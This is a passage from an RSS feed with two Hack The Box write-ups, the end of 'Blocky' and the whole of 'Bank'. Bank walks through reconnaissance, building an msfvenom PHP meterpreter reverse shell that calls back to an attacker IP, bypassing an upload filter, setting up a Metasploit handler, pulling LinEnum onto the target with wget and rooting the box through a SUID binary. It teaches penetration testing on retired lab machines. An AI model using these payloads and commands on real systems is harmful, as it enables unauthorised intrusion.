<pre><code class="lang-bash">ssh notch@10.10.10.37
</code></pre>
<p>and I enter the password I found on the <strong>BlockyCore.class</strong> file earlier</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.41.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-looking-for-the-usertxt-flag"><strong>Step 4 - Looking for the user.txt flag</strong></h2>
<p>I'm now connected as Notch. I list all the folders/files</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.43.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>user.txt</strong> file! </p>
<p>To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<p>Now that we have the user flag, let's find the root flag!</p>
<h2 id="heading-step-5-performing-privilege-escalation"><strong>Step 5 -</strong> Performing Privilege Escalation</h2>
<p>I check the current access user with <strong>sudo</strong>. </p>
<blockquote>
<p>sudo is a program for Unix-like computer operating systems that allows users to run programs with the security privileges of another user, by default the superuser. It originally stood for "superuser do" as the older versions of <code>sudo</code> were designed to run commands only as the superuser</p>
</blockquote>
<p>More info on sudo <a target="_blank" href="https://en.wikipedia.org/wiki/Sudo">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.56.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I list the user's privileges with this command</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>I use the same password I found previously</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.44.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see that Notch has unlimited privileges and can run any command on the system. I check the id. The <strong>id command</strong> in Linux is used to find out user and group names and numeric ID’s of the current user or any other user in the server</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-22.01.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I escalate to root using this command</p>
<pre><code class="lang-bash">sudo su
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.45.35.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-6-looking-for-the-roottxt-flag"><strong>Step 6 - Looking for the root.txt flag</strong></h2>
<p>I am now a <strong>root</strong> user and can navigate to the root folder</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.46.20.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>root.txt</strong> file! </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.48.59.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p>Congrats! You found both flags!</p>
<hr>
<p>Please don’t hesitate to comment, ask questions or share with your friends :)</p>
<p>You can see more of my articles <a target="_blank" href="https://www.freecodecamp.org/news/author/sonya/">here</a></p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a></p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<hr>
<p><strong>Other Hack The Box articles</strong></p>
<ul>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-lame/">Keep Calm and Hack The Box - Lame</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-legacy/">Keep Calm and Hack The Box - Legacy</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-devel/">Keep Calm and Hack The Box - Devel</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-beep/">Keep Calm and Hack The Box - Beep</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/">Keep Calm and Hack The Box - Optimum</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-arctic/">Keep Calm and Hack The Box - Arctic</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-grandpa/">Keep Calm and Hack The Box - Grandpa</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-granny/">Keep Calm and Hack The Box - Granny</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-bank/">Keep Calm and Hack The Box - Bank</a></li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper-2.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Bank ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-bank/</link>
                <guid isPermaLink="false">66ba3108c64c33cecab0e432</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Wed, 20 May 2020 09:18:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>. <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-30-at-14.17.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Bank is a relatively simple machine, however proper web enumeration is key to finding the necessary data for entry</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>gobuster</li>
<li>Searchsploit</li>
<li>msfconsole</li>
<li>metasploit</li>
<li>meterperter</li>
<li>LinEnum</li>
</ul>
<p>Let's get started.</p>
<h2 id="heading-step-1-reconnaissance">Step 1 - Reconnaissance</h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h2 id="heading-port-scanning">Port scanning</h2>
<p>I will use Nmap (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. </p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-21.57.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v bank.htb
</code></pre>
<p><strong>-A:</strong> Enable OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increase verbosity level</p>
<p><strong>bank.htb:</strong> hostname for the Bank box</p>
<p>If you find the results a little bit too overwhelming, you can do another command to get only the open ports.</p>
<pre><code class="lang-bash">nmap bank.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-21.58.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 3 open ports:</p>
<p><strong>Port 22</strong>, Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding</p>
<p><strong>Port 53</strong>, Domain Name System (DNS)</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<h2 id="heading-directory-scanning">Directory scanning</h2>
<p>I use Gobuster. Gobuster is a directory scanner written in Go. More info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>. Gobuster uses wordlists on Kali which are located in the <strong>/usr/share/wordlists</strong> directory. I'm using wordlists from <strong>dirb</strong> and <strong>dirbuster</strong>, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a></p>
<p>I use this command for the dirb common.txt wordlist</p>
<pre><code class="lang-bash">gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.06.10.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see some interesting folders. I do another directory scan with a different wordlist.</p>
<pre><code class="lang-bash">gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.06.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-2-visiting-the-web-page">Step 2 - Visiting the web page</h2>
<p>From the reconnaissance phase, I decide to start with port 80. It points to an Apache2 Ubuntu Default page. We need to set the hostname. We will follow the standard convention for the HTB machines, bank.htb </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.38.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I add bank on the /etc/hosts file</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.29     bank.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-21.55.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the file with</p>
<pre><code class="lang-bash">cat /etc/hosts
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.39.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When I navigate to bank.htb, I can see a login page now</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.07.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>From the gobuster reconnaissance, I found some folders. I navigate to <strong>/balance-transfer</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.03.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have a look at a couple of files. All the files seems to have the full name, email and password encrypted. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.04.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I go back to the main page and I click on the <strong>Size</strong> tab to sort the transfers. I can see that one of the file is different</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.03.53.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When I click on the file, I see an error message at the top. The encryption failed for this file. I can see all the details in plain text</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.05.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I go back to the login panel and enter the credentials. I now have access to the dashboard of the HTB Bank. Nothing interesting on this page, so I move to the <strong>Support</strong> page</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.07.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>On the Support page, I can upload files. I will try to upload a payload</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.08.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-using-msfvenom-to-craft-an-exploit"><strong>Step 3 -</strong> Using MSFvenom to craft an exploit</h2>
<p>We will use MSFvenom, which is a payload generator . You can learn more about it <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.09.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>But first, let's see on <strong><a target="_blank" href="https://www.metasploit.com/">Metasploit Framework</a></strong> which payload we could use to craft our exploit</p>
<p>We know that we need to create a <strong>reverse shell</strong>, which is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/Screenshot-2019-08-06-at-22.53.40.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://resources.infosecinstitute.com/icmp-reverse-shell/">https://resources.infosecinstitute.com/icmp-reverse-shell/</a></em></p>
<p>The reverse TCP shell should be for PHP and we will use <strong>Meterpreter</strong></p>
<p>From the Offensive Security website, we get this definition for Meterpreter</p>
<blockquote>
<p>Meterpreter is an advanced, dynamically extensible payload that uses <em>in-memory</em> DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.</p>
</blockquote>
<p>You can read more about Meterpreter <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-19-at-20.58.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I launch <strong>Metasploit</strong> and search for reverse TCP payloads. I use the following command</p>
<pre><code class="lang-bash">search php meterpreter reverse_tcp
</code></pre>
<p>I find an interesting payload, number 594, which is a <strong>Reverse TCP Stager</strong>. This payload injects the meterpreter server DLL via the Reflective Dll Injection payload and connects back to the attacker </p>
<pre><code class="lang-bash">payload/php/meterpreter/reverse_tcp
</code></pre>
<p>Now let's go back to <strong>msfvenom</strong> to craft our exploit</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.10.36.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command</p>
<pre><code class="lang-bash">msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw &gt; HTBbankshell.php
</code></pre>
<p>I then check with <strong>ls</strong> if the file has been created</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.10.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and I cat the file to see the exploit with</p>
<pre><code class="lang-bash">cat HTBbankshell.php
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.11.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I go back to the support page. I add the title, the message and upload the file on the form</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.12.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I click on the submit button and I see an error message. The file type doesn't seem to work</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.14.10.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the source code and I see a comment that indicates that the file extension <strong>.htb</strong> is needed to execute php for debugging purposes only</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.14.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then change the extension of my payload from <strong>HTBbankshell.php</strong> to <strong>HTBbankshell.htb</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.15.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>My file is now ready to be uploaded on the support page</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.16.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And it seems to work! The payload has been uploaded on the support page</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.16.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-setting-up-a-listener-with-metasploit"><strong>Step 4 -</strong> Setting up a listener with Metasploit</h2>
<p>Back on Metasploit where I use the following command to set the payload handler</p>
<pre><code class="lang-bash">use exploit/multi/handler
</code></pre>
<p>I first set up the payload</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> payload php/meterpreter/reverse_tcp
</code></pre>
<p>Then the LHOST</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> lhost 10.10.14.36
</code></pre>
<p>And finally the LPORT</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> lport 4444
</code></pre>
<p>If we check the options now, we should see that everything is set up</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.18.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Let's run the exploit. </p>
<p>After this message appears</p>
<pre><code class="lang-bash">Started reverse TCP handler on 10.10.14.36:4444
</code></pre>
<p>go back to the browser and refresh the page where the malicious script is hosted</p>
<pre><code class="lang-bash">bank.htb/uploads/HTBbankshell.php
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.17.09.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You should then see a Meterpreter session created</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.19.20.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I start by gathering some information with <strong>getuid</strong> which returns the real user ID of the calling process and <strong>sysinfo</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.19.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-5-looking-for-the-usertxt-flag"><strong>Step 5 - Looking for the user.txt flag</strong></h2>
<p>I start navigating to root and list the folders/files.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.20.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I move to the <strong>home</strong> directory with </p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> home
</code></pre>
<p>And I can see a user called <strong>chris</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.20.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I move to the <strong>chris</strong> directory and when I list the files...</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.21.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>user.txt</strong> file! To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<p>Now that we have the user flag, let's find the root flag!</p>
<h2 id="heading-step-6-performing-privilege-escalation">Step 6 - Performing Privilege Escalation</h2>
<p>I try to navigate to the root folder and the access is denied</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.33.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I will use <strong>LinEnum</strong> to enumerate more information from this machine. <strong>LinEnum</strong> is used for scripted local Linux enumeration and privilege escalation checks. More info <a target="_blank" href="https://github.com/rebootuser/LinEnum">here</a></p>
<p>I fetch LinEnum from <strong>GitHub</strong> with</p>
<pre><code class="lang-bash">wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.43.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check with this command if the script has been correctly fetched</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.43.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command</p>
<pre><code class="lang-bash">chmod 777 LinEnum.sh
</code></pre>
<p>to change the file permission and make it readable, writable and executable by everyone</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.43.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Within meterpreter I check the location of the file with</p>
<pre><code class="lang-bash">lls -S <span class="hljs-string">"LinEnum.sh"</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.07.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I start a php server on another terminal with</p>
<pre><code class="lang-bash">php -S 10.10.14.36:4444
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.45.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I type the following command to get a standard shell on the target system</p>
<pre><code class="lang-bash">shell
</code></pre>
<p>I spawn a TTY shell with</p>
<pre><code class="lang-bash">python3 -c <span class="hljs-string">'import pty;pty.spawn("/bin/bash/")'</span>
</code></pre>
<p>And I transfer the file to the machine with</p>
<pre><code class="lang-bash">wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh
</code></pre>
<p>where I copy the file from my Kali box to the machine temp folder</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.49.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then navigate to the temp folder to check if the file has been correctly moved</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.17.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then run the script with</p>
<pre><code class="lang-bash">sh ./LinEnum.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.52.07.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The scan gives me a lot of information. I look for the <strong>interesting files</strong> section. I check the <strong>SUID files</strong> section. <strong>SUID</strong> is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it</p>
<p>I spot an interesting file</p>
<pre><code class="lang-bash">/var/htb/bin/emergency
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.53.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to <strong>var/htb/emergency</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.19.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I run it with</p>
<pre><code class="lang-bash">./emergency
</code></pre>
<p>and I'm asked if I want to get a root shell :)</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.20.07.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have root access to the machine</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.20.53.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can now navigate to the <strong>root</strong> folder</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.21.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>root.txt</strong> file! </p>
<p>To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p>Congrats! You found both flags!</p>
<hr>
<p>Please don’t hesitate to comment, ask questions or share with your friends :)</p>
<p>You can see more of my articles <a target="_blank" href="https://www.freecodecamp.org/news/author/sonya/">here</a></p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a></p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<hr>
<p><strong>Other Hack The Box articles</strong></p>
<ul>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-lame/">Keep Calm and Hack The Box - Lame</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-legacy/">Keep Calm and Hack The Box - Legacy</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-devel/">Keep Calm and Hack The Box - Devel</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-beep/">Keep Calm and Hack The Box - Beep</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/">Keep Calm and Hack The Box - Optimum</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-arctic/">Keep Calm and Hack The Box - Arctic</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-grandpa/">Keep Calm and Hack The Box - Grandpa</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-granny/">Keep Calm and Hack The Box - Granny</a></li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper-1.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
